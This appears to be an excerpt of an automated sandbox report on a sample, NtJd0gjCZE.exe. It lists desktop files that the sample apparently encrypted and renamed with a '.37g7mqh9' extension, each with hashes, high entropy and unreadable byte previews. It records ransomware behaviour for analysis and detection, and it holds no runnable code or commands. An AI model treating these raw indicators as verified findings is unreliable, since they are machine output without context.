                                                                                Preview: t.c.....a`+o.T.C....w!..z..?.$[...#..,.WE.|*S.F../.:..,W...aS6.;..]5.R..`..#...<.........R......B{.....$h.\9<.V..Q.Z.C.,.X,....o...Q.p.N.I&r...|*.t.s.x..Z.......v.`....3.]o..~...2........z.E(...G.} ;.q....W.~........S....a........F)....TZ.1.5.b._k.....t.9a..7E.9.J.........<.4...P/U..`......$.y...{..;.S.~.*.0..7i..v-.N.].....!.\l.+..U.z...~..U...T.y..=6..+.Kk......>.....f.i..Y.M......i.C.D.NT.-%..Zb...M......U_...../.r......l.....w..u7p.fDC.N.$.)Bf...>9r$>(M....$..{..a/.;.....i...$..)..Em.'.#{.w..C\.w....k........X.z.P?@.o.\8..y}7.B...[.k1.wx..N..q.>..Z.z=.+f.1M.`u.I..4X..].H...HI...A..4....TG.}..u.+._..+"o|.....VL...p...CMx...Kq?....(.B$.e."...<}....#.....p.....Q.HI.....[.{8........~}.....O.M?.2._.C....G,i..$..HVjR."`za/....{G......?.d.@.w........U.@....w.<..}...iZ...A.K......U.....2.z\..9.f.....-1..I.C.....U.D)../Y..9....6..So.....d..,...M...y[a.../E.2.[y.z&.#.....h.,.g.B.#.......u.,..h....~...x..=N................W......t.h
                                                                                c:\users\user\desktop\PIVFAGEAAV.docx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.8348225733510715
                                                                                Encrypted:false
                                                                                SSDEEP:24:m4PUG3y6RI+GEA5XfCteFXhVBm8uhsucmSvVvrTfu/AmSFFE1Q:9H3bIFEAFKteBzmhgFNTfu/AmhS
                                                                                MD5:BC3CCED0F0ADC50B8E9733518FE723C6
                                                                                SHA1:706D208FD85769433E3AE0BACD0B77AE438D0EE5
                                                                                SHA-256:82B5EC0DCDFDB44FB8E3EA4D739322541CF80F3795461380A709C914D3731DE4
                                                                                SHA-512:062E11408DC54BE09A885E722FDFC01E8C87444A6B1039F88E4C16B9BE2F3796E890738A5221246DF812C8A226E17307F8DEE8B28CB26457A7DAE9AF4154B10F
                                                                                Malicious:false
                                                                                Preview: ...D.....O..?V..;F..p.......`..D..gh..W..;GTr.%.^X.{|..*...MG..\..%......~?5.J;.IN....OF....3.vt.0Uu)J*.E..b.y2..be..cmH.T.S..b...)....W......^.!./A....L.,...j....+.b.../..K....|..K..+f.....:.....qR....K(t.<..Ih. .-B......_...F\.Y=.qLp./-mA...9#...%".T~R..Co".d...3@...u...O'Hw....Et..k..O.E.xB..yr.=..T.....NF.oL L..D.?.8.o...%....r...S{......;w.rv.\....a.Z.m.%JF.'I..5.Gy.l.._.g.....q+..|Q....6gP..7..-..h..SV_.*....l".*-+aLI3..Y ..aDeA'>.{.Q..4...........je......f...|ddU|S.2^!.Ds............!)D.&pk..X.>P..x.#...=-..~[.=.si.....I....J...y.......Z.......".....o....0H...,/..d..\.P.1......7....Z..]C....&.0.$>3"....0....q.....}$..a;..#.MIf...;......~.L....`........\..6x....e...Qj...#.1Y#^...G.\..;..2.}U.R@.]....[...Z-.dYJ=..t.)5.:.U.....bV..X..$~g6Dj.m..... [a..hx-../.E`Y......^..o.|.....$.O.!.X.`.....0.W..G:).......0]z~.%.k....h7...."^Q...c.YV...zk..k5{......x..j.dI+....ij...a...t....f>....ir.d8.^*........O.`..u.)....%.U.a..J]?.......%...y.>..9M.4tF.... .
                                                                                c:\users\user\desktop\PIVFAGEAAV.xlsx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.863435519450037
                                                                                Encrypted:false
                                                                                SSDEEP:24:XR7Bxtc3GNxWQeqL5RrRzEEQ2oxOCtEL5kas8xrTfu/AOmcj:B7ztc3GNIQeo5Rp0sCtEOaswTfu/AOTj
                                                                                MD5:4D55894C9C1F83990A976E525E622E09
                                                                                SHA1:DFEE3F74B240249DD6B65A41250E2624ACCB19E1
                                                                                SHA-256:5BD327600E0CE33B21B99EEC6FFF4A040D3F08A45DE1EADD540705086151EEBF
                                                                                SHA-512:A261D225A4F927EE7F02105ED2FBF44B3211444252D925CD7F208B67ECB9FD9009AC129F2220FA4537753BBC094E893B6FC40E9107B0F843B72DF5D1333F65D6
                                                                                Malicious:false
                                                                                Preview: I...%R..$...r=".+..i!.2..|Y.=.....&..F...&L....j..@^((.....D....]...%.4z...N.#.{.:}L|._._|..C.{}.D.d.=.-\...$2.*v&.r..MTJ....!.M...Vc....l5....^o.w./.O8} .`wB..pu.Q...ZKd...FOFrE..yX2.SS..k+V@w.[... ....{...~.............r.`.wZ...xc.k.J%...l._r.}.b....Q.f.p..H.....6...j.^)4....7...Lb..7...!,;.6dB.;'._.H....'....fZ......n.P/.<...z.q!.$,...3J...I..y.Q@*.S}uMlw*E\B.0)d...hp.`,W.v6...9v.....x...E...f...Bg..'h..odw.....=.0...~..n.r..dx....D.H.s.}...<..#......a-..s!I.?...F}...6.....>l..U.........\....F.(....8..I_.R&M...........jn..*..w...3L.....`.z..r6....._.&y.m>I.;..P",|........`..4h.._+.....6...E,.zb.....(.q.D..uv...w....Y.%>..{..5.{.f1.8.c.;.._,bKG.7.~NR........p,.....M...8.![h.,t..T]|^.a|..e.f...Rc..........oB...9...............ck.nU/0...q^.{.....8.....w.|qt/Ws......?]....3...|y.P...{`.U.w..c|.......a:..#..6>......>.>.c.lM............{.....IH3.;.\.N...@kb.E.e_K..Y....t(O.b..?...;Co:..V.$...v..@...,M.0.s.h.tg.<:..B.........#..W.z....A.p8......z.zDh.
                                                                                c:\users\user\desktop\QCOILOQIKC.png.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.840876902588262
                                                                                Encrypted:false
                                                                                SSDEEP:24:0Ie4MBsj0HLdT4+ooKEgYChPF+MLFHA38J63v/r1jrTfu/ATUliMI:0IpMGyLdT4+ooKEg9PEEAFr1nTfu/AUI
                                                                                MD5:DFA5385DD00EE662EC63CFFB76F5400E
                                                                                SHA1:C3B6FB637CE4F67977E39BC8A2FCFE30421F23C1
                                                                                SHA-256:214A2D562F098D38D26516F2CCD5CDFC8438BF1C00EC189F9E5DA5DC80063279
                                                                                SHA-512:23E0FB85B5348AA240C353EE3F1A98B53539A9D3B8C4517517155BC37073A7550E382FD7102097484334748056288C463C2CDE5A319479CE39984388D4D57529
                                                                                Malicious:false
                                                                                Preview: ....Om".n.*j./.n.................{.....WZ...k.X.....2..J..jKZ...g.d.Zd...S...+....~..........#.......z.|..2.F..|<......r...eW...jj.........o.c..`........9..R......'...9}.4......J..ed.....6..I.lD .8F./...?=@.%....UP..1..6;.A.".k..qMC...b...<_.u.U..nK......x.=.T.f.u.+/......~j.k]...o....2.L..a+;.E`r.@...r/-.d..H#..{v.$.(|..a#a0K-..l..6MB..N..'.z[.V....{\.G.L...W..#....;./L..GjO...K.X...>...l.p...m.Q..8........a.b$...G..h;?."3.!..K..eE.3....M:..%.k.5~k.z.`k...0.MCg....>2T..rr....y..Swq...9.>K.d.&..&.s.p.E|..]P.U.KLA|C...I.....$4G+....q3%W.#J<~..D.B...n...F5.g....#....(..D.F..n.~c..kZ..M...3...~....o.UK.q.7..?...Dce..N.$ksq....^...O........Q/.....b.R...g.D..h.'n....1...P<w7.../.<^...~ ...}.$.lW.yi.N..+..fVy......o.6.K.N.......At.0.&........9....u.8.om...K.....\R.Q...Z.K......m..e..FT .(wQf.._.N..@........~....~...K;O..+.v.g..\05R.r.^.....!g..&......p...2..Hv..p.GoSI..T/J.p..WA.k..3hs......."..t...H1.6.UMG.2.c"..v..=.M.Fe.$.m.r.b..<.|M ....4..
                                                                                c:\users\user\desktop\SQSJKEBWDT.docx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.861082829151161
                                                                                Encrypted:false
                                                                                SSDEEP:24:fGmXbGcn1BQZP5iwOc8s/NK1GNhf0WmDBRw7xUJTr1mC6Z3NrTfu/As:fxrAP5iwO7s/gYXf0WwOOJHsC8Tfu/As
                                                                                MD5:46964B2862E3336FD133C2582511F278
                                                                                SHA1:8786E851443EE7046B434E9B4A3848B6EEE86ACF
                                                                                SHA-256:738ECC8BAB9D6869E62BDF2A69EE6A87D642B0F19B52CB85C6BA68F2F1EB3735
                                                                                SHA-512:6E7FB03700696145D6918E86A310518C4BBADA412CADBD9DFB97F2743BB20977F8E857608F6CF7E8A37B78C57516CE0EF116CBA66C7635D3724266335F66DCF7
                                                                                Malicious:false
                                                                                Preview: .w_..p..8R3..~.$.P7..eb>j5........$....?.JUg..5..b..\..!0..kd".u\Oi.......]..v.8.i.m&s#<...vN.!..v.M...B.......N.h..A.4.yO....+..c..K...u=.......4..-Z.`A.&.b.HM..FT.j.d.c.Tr.@..".P{........u...`.[&.....hv.......B.|p..a.:.|/].v....n.qJ.l.tF..0..2-I<...9./.$.,ZC.)x...l.~...% ..D.V.....,.T.C.....V...^..........6......JY.NV..v.Z...=L.V....k6........9..{.B.H*6.O..bwY.U...5.\....b......CV....N.C3..T...%..v..u=1.z6.8e)s..?....M....N`.....Vs\e..`.A....*......;,.....-H.D.^F......z..S...r0..=....;=.-."...lm.6........e.[.D..0..B.y...xZ..^.....-.d.......Q#..jw5'1..3..p..M...L..|)..|D'.P.rk.E9../....5.+.......GcP....!.z>..2......YY......X...a..q;d....Y<[....E......#9ht....b..h.!$..ZG.'..t....U.;y.....t2q..y.$....4.j.......<.V......L.J]~.3.....0D.P.B.O.H"%U..x=........y.A.Z|...W..|c;.....N.G....\MyG..38.<@.3.'|.#^.....mR.1.bw..Ig..m.R....c..3...@..:.klF..Q..,..a..!..}~)S....}W...9.7..'!.U.H.....^...@....v......^m.|......7.#A[.Jw..-..g.@.V\.:..u....p......
                                                                                c:\users\user\desktop\SQSJKEBWDT.jpg.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.838546687791939
                                                                                Encrypted:false
                                                                                SSDEEP:24:wZVsuWuoVN8WPAigd9+SULPnRjfLrbDHfBFgUj5rTfu/AsUH:WooWrgd9+SUPxzPD5FgUjRTfu/AsO
                                                                                MD5:38FF046420F616B6A1B34E0905C4F8D8
                                                                                SHA1:C27EC1AF12EE0424868D68D12E0FC8F22D883066
                                                                                SHA-256:2D2614F359F2AE949AE9E8AA17092DB4BA517013CDCFA60E1C1513227D712F79
                                                                                SHA-512:9E4D98841162082D4CF3C235BEBA6248EA68D2C96AC62DF29D7C1E04B2370555FE6F0C7975973BE1351A57F622EC748D618461A6623AF8EBA39F6DA3E9D01460
                                                                                Malicious:false
                                                                                Preview: L.~..?.+...Wy.;...........:.v......]^aU..i......n`d..)..V.<F._...GOR..Wi[.\....C.b.A........Y.;}_.l..e...".X..@.k.P......*.q...l.4.j.f.T.nm.|..t3...%...p#n...8..l..=.g..!...$...P.I..G+..........bRm.v.b..w........e.6.U.g....b/.... L....."F.1.......x....c\...J\..k...................6....R\x..h49<._..i.G..mn._*..J.*....U+T,'.M...[.]Q...E...F..B...~Q..KN:.7..p.z...P!.Y.ae...*...o.[.Zc..p..WC....ch...Y.{.....9`.>...!.e.F.p........v.4..<....c...?o.7Cf...(.....vm...+.$...j.. .6......wUz.w....&...`.,....?.....J....Fn..Pey..x-.....,.K^...*9.:..v5..Y.O..?..$..U..I."&..4.X...N..E".......vp...`@\.RI...............8.k..Gf.\..=......Z.U)...cU.h....2....'.........f%w..^.L....Yx.*@0..5q....&..}#A.".le%.&*.@.:t.?=..t.B_....l.[.c>....b..U. .Un.h$....0..!W.J.D.F.0=<..jd.....E.7.............7.@.@......[...l.zm.h|.}...)....u.3.ej^A..W.e_%..d.T.{.#?...f......R...NM..Q*.J.?..7.m>. |..'...:6....t.s..b%...._4tno....c.=......5.....!...E~..I.n.(.}. ..X..L.....
                                                                                c:\users\user\desktop\SQSJKEBWDT.xlsx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.833330652122826
                                                                                Encrypted:false
                                                                                SSDEEP:24:9sjSJe0Adiol8zCj9J1eoFlNnzn1SSAXxygmGf0YuB/x8rTfu/AQ/:90sQiQASNnLw3fsTB/UTfu/AQ/
                                                                                MD5:3BDB78CFC97AA2618BE6D65806932FFC
                                                                                SHA1:FB92B6523AA3F25E422ADA131F8F86A4EBA24E5F
                                                                                SHA-256:07816BDC1796660D08CF0906CFAAC2593821E33B3276E9956F61E37D6D4E8B2A
                                                                                SHA-512:4C1E6962FA661F28CCC10B3E2F7B833F97663DA5B551806C08905EB9A2F6B7CEF06BC3388C5C70678BEC9092BCAEC0805292FA57FCB8554509F70AE253D622E7
                                                                                Malicious:false
                                                                                Preview: .-"..T....L.O.u..A...X.....P..$.A.eT.95.!..?..%.Si}.u..]0j..< &.g...X3....c.%:.M....~.V.lb..$.6e......s.|..zNy......9L....q.[....+......,.E..&._...%r.YN...7.e.bM..=..nHX=a..lI.=...Ai.!.V.]..|..d..&..{...+.%n....?.N....1....J.O,Ir....V.I.(&.jva.b..s.d ..lh,ti........@.,.=...D.%W..Neb?.....r .......f..)T.w0...S>D.Yw..;._..'\..o.vo+^nC.;...F..p$q.:...R{F[.uK..J...U...i..g..3i.N.N.t.......pp... )..e{..Rgb..OC..$>.BTn...M..T.<..L.+4.......@..0..z.+.3......3..6M.KD..=>.2..hD.X6wS....w..H...L.....y._h6..j..........)... +0|)...6X.NB(:.#......o...~.o...,^..R......}.r.....f.3.<.....+v....''.*.O.-.?0...?a1.9.}Jy....?.)K.[..w..d. ."...o.Q.1G..-.[.....)....*T.k!....1.Kg..m.n..k.............H....f..;.+g..U6......[.....'.y...4.....d.f....WC.....e!..6i"t@.k.....g...#u.%..JHx.{..@...CP..Z!.PZl...)...7.?....u..g&X.~77z..# ..ReI...4....."-....?.!EW.0....j.wlMx.....qG.IJN.0.E'...^..Rw..w`...O.".d-.=.dk5\ .....o.m..7.^.l..ZD....y&.-e....g..~..N%.B._Fw.V
                                                                                c:\users\user\desktop\SUAVTZKNFL.docx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.870912676507251
                                                                                Encrypted:false
                                                                                SSDEEP:24:vF9o9TaE0OQhF9RoQ8NUKGuGRfsaGg+pAIRGRH7iDsQiEtnNgCORvgIrTfu/AWv4:LhFzRDuCEaGgUAoEIRnktTfu/AWv4
                                                                                MD5:A5FBF1400AF7804AAE6511959D59071B
                                                                                SHA1:0686E8449FE23033FF3CB136C7E07A411FD1EB91
                                                                                SHA-256:48C69835525C57C599E304D997EF23E3ED31610F0823B69E3DB6094274682C1E
                                                                                SHA-512:CC02407A09C7C6E14E2CCECF39CC7231619C2B2D0B2D5A9C19B14501AFDDB2E887DA33E316AF8BF08BC7AD78143AA5437405CF7A153459BFCB4E03D4978832E1
                                                                                Malicious:false
                                                                                Preview: '....._w!M$.i......r...8.;......d.)Xwn...........au.../[,.Z...f{..6....<.....G.j\...u.f;s..]..YJ.l.....E..&F..^...[...x.N.)..I.})..~..m*.`Z.+[$o.;....3c,....V...&.......j5.R..kz.b.=..h..:..x...V$.......H..g...S.T}..<&..........8..dv..z......({.l.._..]H..$...@.i!q.l.[.5.......n..v..5.|<Dn..............Ow.;.A.........d.9Jl.)*.DU....X"L....^.?.....c.O....mq. ...1....>..G../...5......0.X.O...a.,.C...J....;.4.....UP....)U.9.9..... oe...:9.*d?[...1&.2i.1&I'0l....o..qA..].r0.......Z..}...IiI.....{..7.v..t...9....Fl.?f.ZK......Q....+*\...3.....w.Q0l..&#.%.Y.Y.D).3..`.EF..pd..X..}...E6.9..l..1.$..F..~.y.k&....,.@.H.Y...n..x.$.,...RO.E.......p(.y..o.p...+lw. 0...%xJ_.^.'...`5_.c...m.....{.c.W...&...n.rj.+.R(....q.h...t.f...V.)m..e9V..........a.}... ...,.-..L..$.k.?--...yo^..N1.`B......>..Ib..5.nKr.m.;3......MJ.x.T.H.P..........w..(...Qt...M..If=Kd....,.v...X....#x...\'....1..g'._.s...a....U5.."...r.V).......}...ju.Y....}$o[.....W.q..l..;....eF...F.)/...m:....
                                                                                c:\users\user\desktop\TQDFJHPUIU.mp3.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.851753538629958
                                                                                Encrypted:false
                                                                                SSDEEP:24:wDneBs1zhdPXP+GEFXKE/TQoUVo1hRk8Olkpo2mvfKprTfu/Ase:EsUldP2GEFXKEMoy8OSpo2mvyhTfu/A/
                                                                                MD5:5FB462F1A05706AC9EBD87B169CCC9E8
                                                                                SHA1:FD2CF167661B1792E825DF7A461A19C0AF40639C
                                                                                SHA-256:4A48DC1A290AC624F920A96B7847347BDCF84FE92D735B4EBD3268C306E4D19E
                                                                                SHA-512:2FEAA3F84BDB60DFB5CBA92B7EC1F4528278DA93EE0C564B13CEE3FC2178E6E0A56C5AAD6FC56599B7AEBE8FF5AF4A804D12A997263E11FC96601630A2ADC056
                                                                                Malicious:false
                                                                                Preview: 6zG.66U)35.|... ..1......yjH..P...G..Tj+Z....:.L.ie........=.f0.s..NU...lK.z..[.vnm.D.>...).d..N.......%u....c.....e\".J....V..%..y_....8......**.fke1..BH .v......+\.......K.v#.O..N!Y#.4=....yGJnS.....[...#.tmu....5....z..;..w....O....v......d..v.b..].;,..p[...........)L.a...0j.jKZ-p...O:......]^..b.....a..y`..j<bM".*.:........oi........c&j..u......!mt..........c...R.9+.h.O.zVm..^...&...)...g....u.K....6(....tR..-.1.s.".s._......ug.oJ..u.H....@?..4|..s....i.|..i...../..R....B....Xd..H....5..+7...<...C+J..I..P.h.7.K.3...z..F......B.....s..6..t.}.~.%..N...s/h.........kp..........diK(..&Z3.$"A...aH.U........iH.n...yl.....n.5....!...C..o.....@.kNf..;:.dV<..r.\..0.|....#KA./V=.y...j.."F....2.=...:...<.E......)....%....H......)...X.%...O;f2.S........3.".]YAjk.e...V..}..B....Z.n..>....;..i..z..$yz..'.O./,........&U...f5.I.........B!....1.......`......D..9._n..N..KO]K...b..bN.dd....P..H.qA....+9..#........%n..?..4..!.~...2:d...wV.`w+.9...9
                                                                                c:\users\user\desktop\Word 2016.lnk.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):2896
                                                                                Entropy (8bit):7.947654782223222
                                                                                Encrypted:false
                                                                                SSDEEP:48:V6ANc5LIrWmk9AMm5siVQIQQgcS28h3HsC5sNzCWfMfsBsGxKoYRrTfu/AC2:Pc6/mYxIh3MosNzCWfiGxIZuYC2
                                                                                MD5:5946D2970272950E80EAF7FB637CCFB1
                                                                                SHA1:3F7FBF01E98102379BC14F3B7658C38E94B8E547
                                                                                SHA-256:CA4019C3F8D74CB71F252B38792D6C7CB446CE4AA9585F83562260FF4830CE25
                                                                                SHA-512:246B872F79EDE0E93E82E5BFD978401A331C8EF024A23257583DBD48E599DF39FFFC3856D99EEFAAF9F6CA4993540861D3D7E01E615DB79C579299A089B7CD0E
                                                                                Malicious:false
                                                                                Preview: ..uQ.....<K.x$Ps.nfV......5......`9.j.h...QL.PM(..O0(B...V.;j........B:E..........l.T{jZ.`...I...ENY..].K...lxqz.K.......7..E......x.n...B.9..z..R.b..........ZM3......z...SCuO...1.o).y*.RG.....N..G...,i*h.z..<.C;.:'.&.*m..\..C...T....C...y..eI...1..OL...yZ...T.f.g...y ..Y....... M.f_.7X....'].Nl ..;..4...._d.K.7H.z=.`\>h...f5..y.~..R.(w8-v.pzmf...n......../G4.....j;i.L...!.....$t......xBv(.?O.......Y.V.........!.&.vU..."...\....)....;.{..'R..G~..>q.../.`...z..M.SGP..SO...N.e..........{........x.....A.ZhJ9..u!n]....zL...8(.[..!3..2a`........U.zn`N...K.k9.]FM=..LmX....V..+....+..l...8m9.S.>I.{u>..!b.....s.q.....@Io. ...=..0.`..'.DS%g..-g.|.~K..t.^.~......~a.7O.H.,.1..vBw...7....:..{...n....=.......[..6ed..j..a<.....VB.9........0.b....f..+. .B.>..K..m..OQ......b....9......d..3Q..../..`.=Q..[KGue.'.....)...=.8@.S...V.e..a .W4..............-...s..._.].... .)l`..".4.~.$..&t..%w..f...I3)........*..yk3\.T..'u.o2m......o2..d`.2.v$?.g5i..L...$.qP.
                                                                                c:\users\user\desktop\bnagmgsplo\BJZFPPWAPT.pdf.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.819070616357344
                                                                                Encrypted:false
                                                                                SSDEEP:24:RLhY+90tn9aTZcAIyndDxe2/VmFxNKLpp6RrTfu/AKE:974KrI8n/8LMpp6ZTfu/AKE
                                                                                MD5:F1AD036E3FE24295E37AB1144FEBC5C6
                                                                                SHA1:95BDBAB6CD739E63E459AC7DF77DCADF105F4749
                                                                                SHA-256:9B8D3F7CDB9EDC1D36D069E7384972F1B94D08EF2870232F8423A7048E2D5125
                                                                                SHA-512:1201FA9783E911B4AD8FF17283394935C71DAE35F023BFC3D545D0FEFCA1110FE4E8D4BF10CF71F3CE2BE828E0F40987B8B72ECC623B52195CB1FD515216C962
                                                                                Malicious:false
                                                                                Preview: A.i...PvI....K.b8.=K8<.-.}5..{a...c....9A..E...v.w...u.}.F!u...g...{eI.....i....u.._.mu..c...c..+&.~{....Q..mT..;...5.dc3@...#.h...[DA..U...&.+[Nn..sv.v..Q......F.........Ut.b]...l|.v..G...s........l'.\..!!.t....:C.I4.\&...o.:.[B....a^O.....8.h...63.g....sQ.*....r.u...!6..v:v0P}!e.N...m...J.7....`/v..b..;.u..8.Z.....a.D....X.............y..........P....v.:..3..[.vw.u. .b.a..$.{rI.......=.b.,...u&M~.u.4O.O.....1t....[.P{..U.Y...'._.i.]...o...j.^w.7p. N.....j$....D..W..g.i}9x.d.RX....s.V..+:....g................3.}."..E........]...\S...8I.t...X......N..bg...Y.......p.5b....8a..;.^.2*..\.g.=<N.(....EJ.-...83R..>u..L...}ge.$*.....rz.... 2..$...+............8....^.X...k.+...g...4h.(ze....x.UO.R.~.O/._m.........Nn..Z.LX.O.....a.Y.\)a.d{.I0{z.o..3...]^......L...V..hE..D..?I..5*.'......J.r.................._......U..I.....v.v...pP5..w|.I/,...=8.aF;.x..|U....c.#..P.V,@/&(m....f.../h.).T'U.W..z.h.....6.(uk..M.I...iqWR..8....]....n.u..1.B.w}pV
                                                                                c:\users\user\desktop\bnagmgsplo\BNAGMGSPLO.docx.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.859966638760086
                                                                                Encrypted:false
                                                                                SSDEEP:24:ZBSF05Maqk6AhDBaXAhOYk6qZidoyseDH21up4NjArTfu/AYO+T2:ZBSVJItYC7doyHDjp4ViTfu/AYOV
                                                                                MD5:DECC6D8E185C676C3DE9FD1701AF1E56
                                                                                SHA1:7E2395D7C210264B53128F494F290D87CAF0E6D3
                                                                                SHA-256:965F626AA6700D8303A0A81333A1B11FE9224E33D6CD36032B085C29FDDD2ED6
                                                                                SHA-512:CEE35B52D71F74C37AC7F00C85962669982F35D1CC4C26070E5579FE39EE4A186E4E1B9F2FCBFBD15D942855E82572DB771A2F10E65BB85D52EF2E9020DEDCA0
                                                                                Malicious:false
                                                                                Preview: .Q..F..J.e...R4N.q..R..Gj.y..RE.T..t ..|.`.....O..L..@T....}.If2...7..?LC|..0.`....G}F.@!b,..=..F.e(.......S..lN.A..h.T.......b....4as.3....o..S6.6u.B.~f3.)c.i..ji.x.}l...S.%.H..[...U".{g..+.2.jAi.OD=82...`..x.l.....z..M.KI....X..$.......b..?.......H....q..p.{8.i=hDtP@...Xd....T(N...@.....x.6.sw.L..Z..!....22...lQ....P.j.^..h.;...*...(.x(.Q..4n@.#r..D.K}- S..z..j..<,iXb..Nr..*..0?ja... .}...^jgL_.p....$.)(...!+...U.....&')@n...n6........O...{W7.~....o.e.....6......W78.T6.."....5.e .C./..D|[.-L9.I.y_fq....l..kK.0o$C...^Yj...h.M(v......Wh.w=...x......I..{....T@.._..B..V.0l@j..[d.W.Ae.A.yA|m.t-.....BJ :?.2(.......XvM..i........8.mZ.<...._.R.x,.G...I\...f.F.P\Z...8{.|sy.A=u.........&.....6...,.!<......9'._............o~.c.>..n......._J6.Y...6..e....Q.E.........LovK.6/...g&$kD.-..^Fph.vJ.R.....hMV..`..\......;6.....DX./.a...Q...|p.xZdO...d~..'W.....{........}Fx>...8?...%6.....R..._t....$..4.v....B..W7,..KdLi&$?Zc9.G)b...I..+..;+...#.R...v=...6.J
                                                                                c:\users\user\desktop\bnagmgsplo\EOWRVPQCCS.jpg.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.835157510703518
                                                                                Encrypted:false
                                                                                SSDEEP:24:+o2z72HU7xDY8J2buE5qpInFfQv4eKn3zTGmrTfu/AEJLH6n:+wU1/2x5qpIFfQv4eE3+8Tfu/AEFH6n
                                                                                MD5:82DC68AC44D75D4BCA137BE160DA2A58
                                                                                SHA1:DCAF45AAB472D40FFFA6C87DD703B5BCEB0DAA8D
                                                                                SHA-256:9B4096B3C1164A8A0F43BAEA64BFBC38625C9A5803ED76373E8EA9D23D59299E
                                                                                SHA-512:44806567F2DB5D20C446C91423B261CC96477EA575B095B3EA7C3A49A0AFD549969D95C5113BD1C6C0C64029DBF1C5669BDF01825DF8CC3ADC91E505F91C6E8D
                                                                                Malicious:false
                                                                                Preview: ...a.$.E.{....7.T.#........2}.7~,d.!J.@......Ve....T.B {.5.k.+t1.q.pX3@O../.$..60>...3.K......t">>.!B."....U....E.S..._..d.'.L.[.^?..A.....+....fF<......H.I.>-#..S..b~.t..=...5K..j.[.'.UQ.._N"...D..D......O+..+H...`w....2d.I.....k...l9.z7..[QB.+..}.Pa.l.l....G..0Eju3./.&..#.....-.@Br.....(N.......J...;..S..'..zf..v'.k......4.Q_3.*5.=..Ff@.....D...b.UH.l..........Z.X_..a.c..n......._.(=.o.m."...~.O..D.x.wL<MfnM.H....x..!....E.60...Y7.,..-.liqX....|......;.!&.ZI....R.,..1L..Iv.]......v..3..`....p.8.........p..2..;.J..T..t*...<..-.d...b..S......u._.D....n.).J!.D@v......\a....0:.F.w.2^......O..lU..m:8.........n...|..h...9.\z........_..........C.0..ET$...].0O..".e....\6....K.81.y.............j5..S.z...;.....TE.R....5@N..>9...[.F..0..O..9>..|>%w.....0:.. ......t....@..qQt...Yv.8.....p ".n".hU..$9PC.|1"..+ .Ou.o..j3.E.V...4.3-..[d.y..7..-..FYl;..c....k.cIm.r.`:.$O*aD~...2.:.5X....RnELY2|.WF|].5...Qh(.g`J.A.3A3].Z..2;5.QL
                                                                                c:\users\user\desktop\bnagmgsplo\EWZCVGNOWT.png.37g7mqh9 (copy)
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:DOS executable (COM, 0x8C-variant)
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.823080035319058
                                                                                Encrypted:false
                                                                                SSDEEP:24:ZHQYkqWLcqs/Jj/yMvzdryNAanjX1pnWjm1tQ39Dk8B6IpzvMz8rErTfu/ANLk:ZHzkqW0/Jj/yMvzolnD1pnkCm39Ibvcr
                                                                                MD5:51294757D336E3AEA3147F15171220A0
                                                                                SHA1:95B3FDD2FFB89E23FDC3D07B788FBA0D3B8CBADC
                                                                                SHA-256:7D6A9F4E79586A2F7673E4B4A8E0E42B9FE36419391294531E93761CC6DEE755
                                                                                SHA-512:CAD0787F946E6CBA96D126DEF58A0866233891BD609A720E4379AD04F5E7AC3BA94E1A00AF7C3ABF3AD6D44CEB39DDACA5CC09E81535CBD9FEC4B119A5D9C15F
                                                                                Malicious:false
